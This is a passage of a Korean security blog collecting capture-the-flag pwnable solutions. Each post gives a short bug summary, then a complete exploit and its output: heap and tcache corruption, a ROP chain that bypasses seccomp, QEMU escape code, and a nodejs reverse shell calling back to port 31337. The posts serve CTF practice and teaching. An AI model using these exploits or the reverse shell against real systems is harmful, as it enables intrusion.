33C3 CTF - grunt

CTF 2018.12.14 18:54

Category : pwnable


Summary : lua script, oob, integer overflow



Exploit

#!/usr/bin/python

from pwn import *
import sys

s = process('./grunt')
ru = s.recvuntil
rl = s.recvline
rr = s.recv
rg = s.recvregex
sl = s.sendline
ss = s.send

script = '''
-- Lukachu
-- Hannobat
-- Andyball
-- Airmackly

function trigger(obj)
pokemon.swapAttack(obj, 0, 1) -- 1 2
pokemon.duplicateAttack(obj) -- 1 2 2
end

local strlen_got = 0x626070

for i=0,5 do
pokemon.new("dummy")
end
mon = pokemon.new("pwn3r")
target = pokemon.new("overwriteme")

pokemon.addAttack(mon, trigger)
pokemon.fight(mon, "Airmackly")

pokemon.doDamage(target, 0x100000064 - strlen_got)
pokemon.swapAttack(mon, 0x10, 0x12)
-- gdb-peda$ x/8wx 0x1981ed8
-- 0x1981ed8: 0x00000064 0x00000000 0x019825f0 0x00000000

leak = pokemon.getName(target) .. "\\x00\\x00"
libc_base = string.unpack("<I8", leak) - 0x8b720
libc_system = libc_base + 0x45390

pokemon.setName(target, string.pack("<I8", libc_system))
pokemon.setName(target, "/bin/sh;")

return libc_base
'''
s.send(script.ljust(0x1000, '\x00'))

s.interactive()
s.close()



$ python ex.py 
[+] Starting local process './grunt': pid 8174
>>>
[*] Switching to interactive mode
pwn3r is stopped by a wild Airmackly!

Round 1
pwn3r hits Airmackly for 0 damage!
Airmackly uses TROUTSLAP!

Round 2
pwn3r hits Airmackly for 0 damage!
Airmackly uses INCAPACITATE!

Round 3
pwn3r hits Airmackly for 0 damage!
Airmackly uses INCAPACITATE!
The fight has ended

$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)


'CTF' 카테고리의 다른 글

33C3 CTF - grunt  (0) 2018.12.14
33C3 CTF - tea  (0) 2018.12.14
33C3 CTF - rec  (0) 2018.12.14
33C3 CTF - babyfengshui  (0) 2018.12.14
BCTF 2018 - easywasm  (0) 2018.12.06
SECCON CTF 2018 QUAL - CLV2  (0) 2018.12.06

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret

33C3 CTF - tea

CTF 2018.12.14 18:53

Category : pwnable


Summary : bypass seccomp, close(0x8000000000000002), overwrite parent process memory



Exploit

#!/usr/bin/python

from pwn import *

s = process('./tea')
ru = s.recvuntil
rl = s.recvline
rr = s.recv
rg = s.recvregex
sl = s.sendline
ss = s.send

def parse_maps(maps):
res = {}
get_base = lambda x : int(x.split('-')[0], 16)
for line in maps.splitlines():
if 'r-x' in line and 'libc' in line:
res['libc_base'] = get_base(line)
res['child_stack'] = get_base(line) - 0x100000000000
return res

def get_ppid(status):
for line in status.splitlines():
if line.startswith('PPid:'):
return int(line[6:])


def step(filename, count, done=False, stdin=False, data='', exp=False):
ru('access?\n')
sl('r')
ru('filename?\n')
sl(filename)
ru('lseek?\n')
sl(str(0))
ru('count?\n')
sl(count)
if stdin:
time.sleep(0.3)
ss(data)
if exp:
return None
length = int(rg('read \d+ bytes\n').split(' ')[1])
res = rr(length)
ru('quit? (y/n)')
sl('y' if done else 'n')
return res

ppid = get_ppid(step('/proc/self/status', str(0x1000)))
maps = parse_maps(step('/proc/self/maps', str(0x1000)))
libc_system = maps['libc_base'] + 0x45390
libc_argv = maps['libc_base'] + 0x3c92f8
# gadgets
libc_sh_string = maps['libc_base'] + 0x0011e70
libc_open = maps['libc_base'] + 0xf7030
libc_write = maps['libc_base'] + 0xf72b0
libc_close = maps['libc_base'] + 0xf78e0
libc_clone_fini = maps['libc_base'] + 0x10741d
libc_lseek = maps['libc_base'] + 0x107440
libc_pop_rdi = maps['libc_base'] + 0x00021102
libc_pop_rsi = maps['libc_base'] + 0x000202e8
libc_pop_rdx = maps['libc_base'] + 0x001150a6

leak = step('/proc/self/fd/0', str(-0x80000000), False, stdin=True,
data='a'*0x28 + p64(0) + p64(3) + p64(libc_argv))
stack = u64(leak[0:8])
parent_waitpid_retaddr = stack - 0x130

leak = step('/proc/self/fd/0', str(-0x80000000), False, stdin=True,
data
='a'*0x28 + p64(0) + p64(3) + p64(stack - 0x110))
child_read_retaddr = maps['child_stack'] + u64(leak[0:8]) - 0x68

pay = ''
pay += p64(libc_pop_rdi)
pay += p64(0x8000000000000001) # 1 (stdout)
pay += p64(libc_close)

pay += p64(libc_pop_rdi)
pay += p64(child_read_retaddr + 8 * 23 + 8 * 3)
pay += p64(libc_pop_rsi)
pay += p64(2)
pay += p64(libc_open)

pay += p64(libc_pop_rdi)
pay += p64(1)
pay += p64(libc_pop_rsi)
pay += p64(parent_waitpid_retaddr)
pay += p64(libc_pop_rdx)
pay += p64(0)
pay += p64(libc_lseek)

pay += p64(libc_pop_rdi)
pay += p64(1)
pay += p64(libc_pop_rsi)
pay += p64(child_read_retaddr + 8 * 23)
pay += p64(libc_pop_rdx)
pay += p64(8 * 3)
pay += p64(libc_write)

pay += p64(libc_clone_fini)

pay += p64(libc_pop_rdi)
pay += p64(libc_sh_string)
pay += p64(libc_system)
pay += '/proc/{}/mem\x00'.format(ppid)

step('/proc/self/fd/0', str(-0x80000000).ljust(0x28, '\x00') + p64(0) + p64(3) + p64(child_read_retaddr),
False
, stdin=True, data=pay, exp=True)


s.interactive()
s.close()


$ python ex.py 
[+] Starting local process './tea': pid 2211
[*] Switching to interactive mode
$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)


'CTF' 카테고리의 다른 글

33C3 CTF - grunt  (0) 2018.12.14
33C3 CTF - tea  (0) 2018.12.14
33C3 CTF - rec  (0) 2018.12.14
33C3 CTF - babyfengshui  (0) 2018.12.14
BCTF 2018 - easywasm  (0) 2018.12.06
SECCON CTF 2018 QUAL - CLV2  (0) 2018.12.06

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret

33C3 CTF - rec

CTF 2018.12.14 18:53

Category : pwnable


Summary : uninitialized variable



Exploit

#!/usr/bin/python

from pwn import *


def cmd_polish_sum(nums):
ru('> ')
sl(str(2))
ru('Operator: ')
sl('S')
for i in range(len(nums)):
ru('Operand: ')
sl(str(nums[i]))
ru('Operand: ')
sl('.')
rl()

def cmd_sign(num):
ru('> ')
sl(str(5))
sl(str(num))

def cmd_read_note():
ru('> ')
sl(str(1))
ru('Your note: ')
note = rl(False)
return note


s = process('./rec')
ru = s.recvuntil
rl = s.recvline
rr = s.recv
sl = s.sendline
ss = s.send

leak = cmd_read_note()
pie_base = u32(leak[4:8]) - 0x6fb
sh_string = pie_base + 0x10cc
libc_base = u32(leak[8:12]) - 0x1b0d60
libc_system = libc_base + 0x3a940
print hex(libc_base)

pay = [0 for i in range((0x380 - 0x24 - 8 - 0x44 + 8) / 8)]
pay.append(libc_system - 0x100000000)
pay.append(sh_string)
cmd_polish_sum(pay)
cmd_sign(0)

s.interactive()
s.close()


$ python ex.py 
[+] Starting local process './rec': pid 129954
0xf7d4b000
[*] Switching to interactive mode
$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)



'CTF' 카테고리의 다른 글

33C3 CTF - grunt  (0) 2018.12.14
33C3 CTF - tea  (0) 2018.12.14
33C3 CTF - rec  (0) 2018.12.14
33C3 CTF - babyfengshui  (0) 2018.12.14
BCTF 2018 - easywasm  (0) 2018.12.06
SECCON CTF 2018 QUAL - CLV2  (0) 2018.12.06

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret

33C3 CTF - babyfengshui

CTF 2018.12.14 18:53

Category : pwnable


Summary : heap overflow




Exploit

#!/usr/bin/python

from pwn import *

def cmd_add(alloc_size, input_size, name, data):
ru('Action')
sl(str(0))
ru('size of description: ')
sl(str(alloc_size))
ru('name: ')
sl(name)
ru('text length: ')
sl(str(input_size))
ru('text: ')
sl(data)

def cmd_del(idx):
ru('Action')
sl(str(1))
ru('index: ')
sl(str(idx))


def cmd_show(idx):
ru('Action')
sl(str(2))
ru('index: ')
sl(str(idx))
ru('name: ')
name = rl(False)
ru('description: ')
desc = rl(False)
return name, desc


def cmd_update(idx, input_size, data):
ru('Action')
sl(str(3))
ru('index: ')
sl(str(idx))
ru('text length: ')
sl(str(input_size))
ru('text: ')
sl(data)

free_got = 0x0804b010

s = process('./babyfengshui')
ru = s.recvuntil
rl = s.recvline
rr = s.recv
sl = s.sendline
ss = s.send

cmd_add(0x20, 0x20, 'name', 'desc')
cmd_add(0x10, 0x10, 'overwriteme', 'desc2')
cmd_add(0x20, 0x20, 'name3', 'desc3')
cmd_add(0x100, 0x100, 'name4', 'sh')
cmd_del(0)
cmd_del(2)

pay = ''
pay += 'a' * 0x80
pay += p32(0) + p32(0x19)
pay += 'a' * 0x10
pay += p32(0) + p32(0x89)
pay += p32(free_got)
pay += 'overwriteok'

cmd_add(0x80, len(pay), 'name', pay)
_, leak = cmd_show(1)
libc_base = u32(leak[0:4]) - 0x70750
libc_system = libc_base + 0x3a940

cmd_update(1, 4, p32(libc_system))
cmd_del(3)

s.interactive()
s.close()


$ python ex.py 
[+] Starting local process './babyfengshui': pid 128654
[*] Switching to interactive mode
$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)



'CTF' 카테고리의 다른 글

33C3 CTF - tea  (0) 2018.12.14
33C3 CTF - rec  (0) 2018.12.14
33C3 CTF - babyfengshui  (0) 2018.12.14
BCTF 2018 - easywasm  (0) 2018.12.06
SECCON CTF 2018 QUAL - CLV2  (0) 2018.12.06
DEFCON CTF 2018 QUAL - EC3  (0) 2018.12.03

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret

BCTF 2018 - easywasm

CTF 2018.12.06 20:40

Category : pwnable


Summary : wasm, bof, trigger function table index oob



Exploit

#!/usr/bin/python

from pwn import *
from paul45 import reverse_shell
import requests as r

URL = 'http://0:23333'

def add_person(name, is_tutor):
res = r.get(URL + '/add_person', params={'name':name, 'is_tutor':is_tutor}).text
idx = int(res[len('create person done, person id = '):])
return idx

def change_name(idx, new_name):
res = r.get(URL + '/change_name', params={'id':idx, 'name':new_name}).text
assert 'done' in res
return res

def intro(idx):
res = r.get(URL + '/intro', params={'id':idx}).text
return res

pay = reverse_shell('nodejs', ('myserver', 31337))

idx = add_person('pwn3r', 1)
change_name(idx, '//'.ljust(60, '.') + chr(0x5) + pay)
print intro(idx)

'''
(*Z_envZ_table).data[offset + 23] = (wasm_rt_elem_t){func_types[0], (wasm_rt_anyfunc_t)Z_envZ__emscripten_run_scriptZ_vi};
(*Z_envZ_table).data[offset + 24] = (wasm_rt_elem_t){func_types[0], (wasm_rt_anyfunc_t)(&_tutor_hello)};
(*Z_envZ_table).data[offset + 25] = (wasm_rt_elem_t){func_types[0], (wasm_rt_anyfunc_t)(&f25)};
'''


$ python ex.py 
intro sent to log window

-------------------------

$ nc -lv 31337
Listening on [0.0.0.0] (family 0, port 31337)
Connection from X.X.X.X 62017 received!
id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)



'CTF' 카테고리의 다른 글

33C3 CTF - rec  (0) 2018.12.14
33C3 CTF - babyfengshui  (0) 2018.12.14
BCTF 2018 - easywasm  (0) 2018.12.06
SECCON CTF 2018 QUAL - CLV2  (0) 2018.12.06
DEFCON CTF 2018 QUAL - EC3  (0) 2018.12.03
0CTF 2017 FINAL - VM Escape  (0) 2018.12.03

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret

SECCON CTF 2018 QUAL - CLV2

CTF 2018.12.06 20:40

Category : pwnable


CLV2

489

3 Solves

Pwn me, and Prove yourself


nc clv2.pwn.seccon.jp 31337


Summary : tcache, use after free



Exploit

#!/usr/bin/python

from pwn import *

def cmd_register(name):
ru('[E]xit\n')
sl('R')
ru('name?\n')
sl(name)
return rl(False).split(' ')[0]

def cmd_login(name):
ru('[E]xit\n')
sl('L')
ru('User : ')
sl(name)


def cmd_play():
ru('[E]xit\n')
sl('P')

def cmd_add_prov(method, word):
ru('[E]xit\n')
sl('A')
ru('words > ')
ss(word)
ru('[3]\n')
sl(str(method))
ru('...\n')
ru('Added!')

def cmd_show_prov(hint, All=False):
res = {}
ru('[E]xit\n')
sl('S')
ru('[N]o\n')
sl('Y')
if not All:
ru('Hint : ')
sl(str(hint))
t = rl(False)
t = t.split(' : ')
res = t[1]
else:
ru('Hint : ')
sl(str(0x1cafe))
while 1:
t = rl(False)
if '=================' in t:
break
t = t.split(' : ')
res[int(t[0])] = t[1]
return res

def cmd_del_prov(hint):
ru('[E]xit\n')
sl('D')
ru('Hint : ')
sl(str(hint))
ru('Deleted!\n')

def calc_hint(x):
t = sum(map(ord, x))
if t > 0x100:
return (t & 0xff) + 0x100
else:
return t

#s = process('./clv2')
s = remote('clv2.pwn.seccon.jp', 31337)

ru = s.recvuntil
rl = s.recvline
rr = s.recv
sl = s.sendline
ss = s.send

cmd_register('pwn3r\x00\x00\x00'+'MAST=pwn3r\x00'.ljust(0x10, '\x00') * 0x23 + '\x88\x56')
#s.interactive()
#cmd_login('pwn3r')

cmd_play()

################ heap leak ##################
cmd_add_prov(2, 'B')
cmd_add_prov(2, 'A')
cmd_del_prov(ord('A'))
cmd_del_prov(ord('B'))

cmd_add_prov(2, 'C')

heap_base = u64(cmd_show_prov(ord('C')).ljust(8, '\x00')) - 0x500343
print hex(heap_base)
cmd_del_prov(ord('C'))
#############################################

################ libc leak ##################
for i in range(8):
cmd_add_prov(2, chr(0x17 - i).ljust(0x91, '\x01'))

for i in range(8):
cmd_del_prov(0xa0 + i)

cmd_add_prov(2, 'D')
cmd_add_prov(2, 'E')
cmd_add_prov(2, 'F')
libc_base = u64(cmd_show_prov(ord('F')).ljust(8, '\x00')) - 0x3ebd46 # libc_leak
libc_free_hook = libc_base + 0x3ed8e8
libc_system = libc_base + 0x4f440
print hex(libc_base)

cmd_del_prov(ord('F'))
cmd_del_prov(ord('E'))
cmd_del_prov(ord('D'))
#############################################

########## overwrite __free_hook ############
for i in range(0, 4):
cmd_add_prov(2, chr(0x24-i)*0x47) # pop from tcache
cmd_add_prov(2, '\x10' * 0x67)

fake_chunk = ''
fake_chunk += p64(0) * 4
fake_chunk += p64(0x1)
fake_chunk += p64(heap_base + 0x205b0)
fake_chunk += p64(8)
fake_chunk += p64(0) * 4 # padding
hint = sum(map(ord, fake_chunk))#calc_hint(fake_chunk)

tt = (0x565 - hint)
fake_chunk = chr(tt / 24) * 23 + chr(tt - (tt / 24) * 23) + fake_chunk[0x18:]

cmd_add_prov(2, fake_chunk)

cmd_add_prov(2, 'a')
cmd_del_prov(ord('a'))

fake_chunk_ptr = ''
fake_chunk_ptr += p64(0) * 4
fake_chunk_ptr += p64(ord('a'))
fake_chunk_ptr += p64(0) * 2
fake_chunk_ptr += p64(heap_base + 0x500840)

hint = sum(map(ord, fake_chunk_ptr))

tt = (0x464 - hint)
fake_chunk_ptr = chr(tt / 24) * 23 + chr(tt - (tt / 24) * 23) + fake_chunk_ptr[0x18:]

cmd_add_prov(2, fake_chunk_ptr)
cmd_add_prov(2, 'a')

cmd_del_prov(0x67 * 0x10)
cmd_del_prov(1)

# (0x50) tcache_entry[3]: 0x55c7c13905b0 --> 0x55c7c13905b0 (overlap chunk with 0x55c7c13905a0(freed) )

cmd_add_prov(2, p64(libc_free_hook).ljust(0x48-2, '\x01'))
cmd_add_prov(2, ''.ljust(0x48-2, '\x01'))
cmd_add_prov(2, p64(libc_system).ljust(0x48-2, '\x01'))
cmd_add_prov(2, 'sh;')

# cmd_del_prov
ru('[E]xit\n')
sl('D')
ru('Hint : ')
sl(str(sum(map(ord, 'sh;'))))
#############################################

s.interactive()
s.close()


$ while [ 1 ] ; do python pwn3r.py ; done
..................................
..................................
e 54, in recv_raw
raise EOFError
EOFError
[*] Closed connection to clv2.pwn.seccon.jp port 31337
[+] Opening connection to clv2.pwn.seccon.jp on port 31337: Done
0x55de14578000
0x7f4d2d589000
[*] Switching to interactive mode
$ id
uid=1001 gid=1001 groups=1001
$ cat /home/clv2/flag.txt
SECCON{??????????????????????????}




'CTF' 카테고리의 다른 글

33C3 CTF - babyfengshui  (0) 2018.12.14
BCTF 2018 - easywasm  (0) 2018.12.06
SECCON CTF 2018 QUAL - CLV2  (0) 2018.12.06
DEFCON CTF 2018 QUAL - EC3  (0) 2018.12.03
0CTF 2017 FINAL - VM Escape  (0) 2018.12.03
HITB GSEC 2017 - babyqemu  (0) 2018.12.03

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret

DEFCON CTF 2018 QUAL - EC3

CTF 2018.12.03 22:52

Category : pwnable


Summary : qemu escape



Exploit

#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <sys/user.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <stdint.h>


#define OOO_ALLOCATE 0x000000
#define OOO_FREE 0x100000
#define OOO_WRITE 0x200000

#define MAP_SIZE 0x1000000

#define OOO_BIN_BASE 0x1317940
#define FREE_GOT 0x11301a0
#define OOO_MAGIC_GADGET 0x6e65f9

int fd;
char *mmio;

uint64_t ooo_read(uint32_t idx, uint32_t offset){
uint32_t hwaddr;
uint64_t out;

hwaddr = idx << 16 | offset;
out = *((uint64_t *)(&mmio[hwaddr]));

return out;
}

void ooo_write(uint32_t idx, uint32_t offset, uint32_t type, uint64_t data, uint32_t length){
uint32_t hwaddr;
hwaddr = idx << 16 | type | offset;

switch(length){
case 1:
*((uint8_t *)(&mmio[hwaddr])) = (uint8_t)data;
break;
case 2:
*((uint16_t *)(&mmio[hwaddr])) = (uint16_t)data;
break;
case 4:
*((uint32_t *)(&mmio[hwaddr])) = (uint32_t)data;
break;
case 8:
default:
*((uint64_t *)(&mmio[hwaddr])) = (uint64_t)data;
}
}

int main()
{
uint64_t libc_base = 0, data = 0;

fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR|O_SYNC);
mmio = mmap(0, MAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);

if(fd < 0 || (int64_t)mmio < 0){
write(1, "fail\n", 5);
exit(-1);
}

ooo_write(2, 0, OOO_ALLOCATE, 0x90/8, 4);
ooo_write(0, 0, OOO_ALLOCATE, 0x60/8, 4);
ooo_write(0, 0, OOO_FREE, 0, 4);
ooo_write(0, 0, OOO_WRITE, OOO_BIN_BASE + (2 * 8) + 0x5 - 8, 8);

/*
(0x70) fastbin[5]: 0x7fc0b81e69c0 --> 0x7fc0b81e6900 --> 0x7fc0b81e6840 -->
0x7fc0b8202100 --> 0x7fc0b8202040 --> 0x7fc0b8201f80 --> 0x7fc0b8201ec0 -->
0x7fc0b8201e00 --> 0x7fc0b8201d40 --> 0x7fc0b8201c80 --> 0x7fc0b8201bc0 -->
0x7fc0b8201b00 --> 0x7fc0b8201a40 --> 0x7fc0b81e3700 --> 0x7fc0b81e3640 -->
0x7fc0b81e3580 --> 0x7fc0b81e34c0 --> 0x7fc0b81e3400 --> 0x7fc0b81e3340 -->
0x7fc0b81e3280 --> 0x7fc0b81e31c0 --> 0x7fc0b81e3100 --> 0x7fc0b81e3040 -->
0x7fc0b81e2300 --> 0x7fc0b81e2240 --> 0x7fc0b81e2180 --> 0x7fc0b81e20c0 -->
0x7fc0b81e2000 --> 0x7fc0b81e1f40 --> 0x7fc0b81e1e80 --> 0x7fc0b81e1dc0 -->
0x131794d (size error (0x78)) --> 0x0
*/
do{
ooo_write(0, 0, OOO_ALLOCATE, 0x60/8, 4); // return value = OOO_BIN_BASE + (2 * 8) + 5 + 8
data = ooo_read(0, 0);
}while(data);

ooo_write(0, 3, OOO_WRITE, FREE_GOT, 8);

ooo_write(4, 0, OOO_WRITE, OOO_MAGIC_GADGET, 8);
ooo_write(4, 0, OOO_FREE, 0, 4);
}


/root # cat file | base64 -d > pay
/root # chmod +x pay
/root # mv pay exploit
/root # ./exploit
CTF{THISISFLAG}
0
qemu: qemu_mutex_lock_impl: Invalid argument
Aborted (core dumped)



'CTF' 카테고리의 다른 글

BCTF 2018 - easywasm  (0) 2018.12.06
SECCON CTF 2018 QUAL - CLV2  (0) 2018.12.06
DEFCON CTF 2018 QUAL - EC3  (0) 2018.12.03
0CTF 2017 FINAL - VM Escape  (0) 2018.12.03
HITB GSEC 2017 - babyqemu  (0) 2018.12.03
BCTF 2018 - houseOfAtum  (0) 2018.11.30

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret

0CTF 2017 FINAL - VM Escape

CTF 2018.12.03 22:50

Category : pwnable


Summary : qemu escape





Exploit


#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/syscalls.h>
#include <linux/file.h>
#include <linux/fs.h>
#include <linux/fcntl.h>
#include <asm/uaccess.h>
#include <asm/io.h>
#include <linux/delay.h>

#define IOMEM_A 0xfe900000
#define IOMEM_B 0xfea00000
#define IOPORT_A 0xc000
#define IOPORT_B 0xc100

#define MMIO_SRC 0x04
#define MMIO_DST 0x08
#define MMIO_COPY 0x20
#define MMIO_CMD 0x24
#define MMIO_TIMER 0x80
#define MMIO_EXPIRE_LO 0x88
#define MMIO_EXPIRE_HI 0x8c

#define LINEAR_INIT 0x0
#define LINEAR_COPY 0x0
#define LINEAR_SRC 0x4
#define LINEAR_DATA 0x5
#define LINEAR_LEN 0x8
#define LINEAR_SR_ADDR 0x9
#define LINEAR_SR_REF 0xa
#define LINEAR_P 0xb
#define LINEAR_N 0xc
#define LINEAR_TIMER 0xd

#define virt_to_phys(address) (__pa(address))
#define phys_to_virt(address) (__va(address))

MODULE_AUTHOR("pwn3r");
MODULE_DESCRIPTION("Escape");
MODULE_LICENSE("pwn3r");

struct dma_state{
uint64_t src;
uint64_t dst;
uint64_t cnt;
uint64_t cmd;
uint64_t phys_mem_read;
uint64_t phys_mem_write;
uint8_t buf[768];
};

uint64_t tencent_linear_read(uint32_t port, uint64_t hwaddr){
uint64_t out = 0;
out = inl(port + hwaddr);
return out;
}
void tencent_linear_write(uint32_t port, uint64_t hwaddr, uint64_t value, uint32_t length){
switch(length){
case 1:
outb((uint8_t)value, port + hwaddr);
break;
case 2:
outw((uint16_t)value, port + hwaddr);
break;
case 4:
outl((uint32_t)value, port + hwaddr);
break;
}
}
uint64_t tencent_mmio_read(uint64_t iomem, uint64_t hwaddr, uint32_t length){
uint64_t out;
switch(length){
case 1:
out = readb(iomem+hwaddr);
break;
case 2:
out = readw(iomem+hwaddr);
break;
case 4:
out = readl(iomem+hwaddr);
break;
case 8:
default:
out = readq(iomem+hwaddr);
}
return out;
}

void tencent_mmio_write(uint64_t iomem, uint64_t hwaddr, uint64_t value, uint32_t length){
switch(length){
case 1:
writeb(value, iomem+hwaddr);
break;
case 2:
writew(value, iomem+hwaddr);
break;
case 4:
writel(value, iomem+hwaddr);
break;
case 8:
default:
writeq(value, iomem+hwaddr);
}
}

void tencent_uninit_A(void){
struct file *filp = NULL;
char buf[2] = "0";
mm_segment_t oldfs;
int err = 0;
loff_t pos;
oldfs = get_fs();
set_fs(get_ds());
filp = filp_open("/sys/bus/pci/slots/4/power", O_RDWR, 0644);

if (IS_ERR(filp)) {
err = PTR_ERR(filp);
printk("[-] Cannot disable pci 4\n");
}
vfs_write(filp, buf, 2, &pos);
filp_close(filp, NULL);
set_fs(oldfs);
}

static int __init exploit_init(void)
{
char buf[0x1000];
uint64_t pie_base, system_plt;
uint64_t iomem_a, iomem_b;
struct dma_state fake_dstate;

memset(buf, 0x90, 0x1000);

// init state->dma_state
tencent_linear_read(IOPORT_A, LINEAR_INIT);
tencent_linear_read(IOPORT_B, LINEAR_INIT);
iomem_a = ioremap(IOMEM_A, 0x100000);
iomem_b = ioremap(IOMEM_B, 0x100000);

// stateA->sr[5] = 3
tencent_linear_write(IOPORT_A, LINEAR_SR_ADDR, 5, 1);
tencent_linear_write(IOPORT_A, LINEAR_SR_REF, 3, 1);

// stateB->sr[5] = 3
tencent_linear_write(IOPORT_B, LINEAR_SR_ADDR, 5, 1);
tencent_linear_write(IOPORT_B, LINEAR_SR_REF, 3, 1);

/* leak pie_base */
tencent_mmio_write(iomem_a, MMIO_DST, virt_to_phys(buf), 4);
tencent_linear_write(IOPORT_A, LINEAR_LEN, (0x1180+0x30) - 0xe70, 4);
tencent_mmio_write(iomem_a, MMIO_COPY, 0, 4);
pie_base = *((uint64_t *)&buf[(0x1180+0x28) - 0xe70]) - 0x5c143f;
system_plt = pie_base + 0x1fe158;
/*
gdb-peda$ x/60a 0x5555580d4c40 + 0x1180
0x5555580d5dc0: 0x0 0x51
0x5555580d5dd0: 0x5555580d5e20 0x5555580d5e40
0x5555580d5de0: 0x0 0x555555b1543f <property_get_bool>
*/
printk("pie_base : %p\n", pie_base);

/* stateA->dma_buf[:13] = "cat flag.txt"; */
memcpy(buf, "cat flag", 9);
tencent_mmio_write(iomem_a, MMIO_SRC, virt_to_phys(buf), 4);
tencent_linear_write(IOPORT_A, LINEAR_LEN, 9, 4);
tencent_mmio_read(iomem_a, MMIO_COPY, 4);

// stateA->sr[129] = 1
tencent_linear_write(IOPORT_A, LINEAR_SR_ADDR, 129, 1);
tencent_linear_write(IOPORT_A, LINEAR_SR_REF, 1, 1);

// timer(1)
tencent_mmio_write(iomem_a, MMIO_EXPIRE_LO, 1000000000 * 1, 4);
tencent_mmio_write(iomem_a, MMIO_TIMER, 0, 4);
fake_dstate.src = 0;
fake_dstate.dst = 0;
fake_dstate.cnt = 0;
fake_dstate.cmd = 0;
fake_dstate.phys_mem_read = 0;
fake_dstate.phys_mem_write = system_plt;
memset(&fake_dstate.buf, 0, 768);

// stateB->src = fake_dstate; stateB->dst = buf; stateB->dma_len = 0x330;
tencent_mmio_write(iomem_b, MMIO_SRC, virt_to_phys(&fake_dstate), 4);
tencent_mmio_write(iomem_b, MMIO_DST, virt_to_phys(buf), 4);
tencent_linear_write(IOPORT_B, LINEAR_LEN, 0x330, 4);

// free stateA->dma_state
tencent_uninit_A();

// stateA->dma_state = stateB->buf = g_malloc(0x330);
// stateA->dam_state = fake_dstate;
tencent_linear_write(IOPORT_B, LINEAR_COPY, 0x0, 1);
mdelay(1000);
return 0;
}

static void __exit exploit_cleanup(void)
{
iounmap(iomem_a);
iounmap(iomem_b);
}

module_init(exploit_init);
module_exit(exploit_cleanup);


# cat file  | base64 -d > exploit.ko
# insmod exploit.ko
[ 25.881252] pwn3r: loading out-of-tree module taints kernel.
[ 25.882120] pwn3r: module license 'pwn3r' taints kernel.
[ 25.882559] Disabling lock debugging due to kernel taint
[ 25.936876] pwn3r: module verification failed: signature and/or required key missing - tainting kernel
[ 26.031904] pie_base : 000055edb7cd2000
CTF{THIS_IS_FLAG}






'CTF' 카테고리의 다른 글

SECCON CTF 2018 QUAL - CLV2  (0) 2018.12.06
DEFCON CTF 2018 QUAL - EC3  (0) 2018.12.03
0CTF 2017 FINAL - VM Escape  (0) 2018.12.03
HITB GSEC 2017 - babyqemu  (0) 2018.12.03
BCTF 2018 - houseOfAtum  (0) 2018.11.30
BCTF 2018 - three  (0) 2018.11.30

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret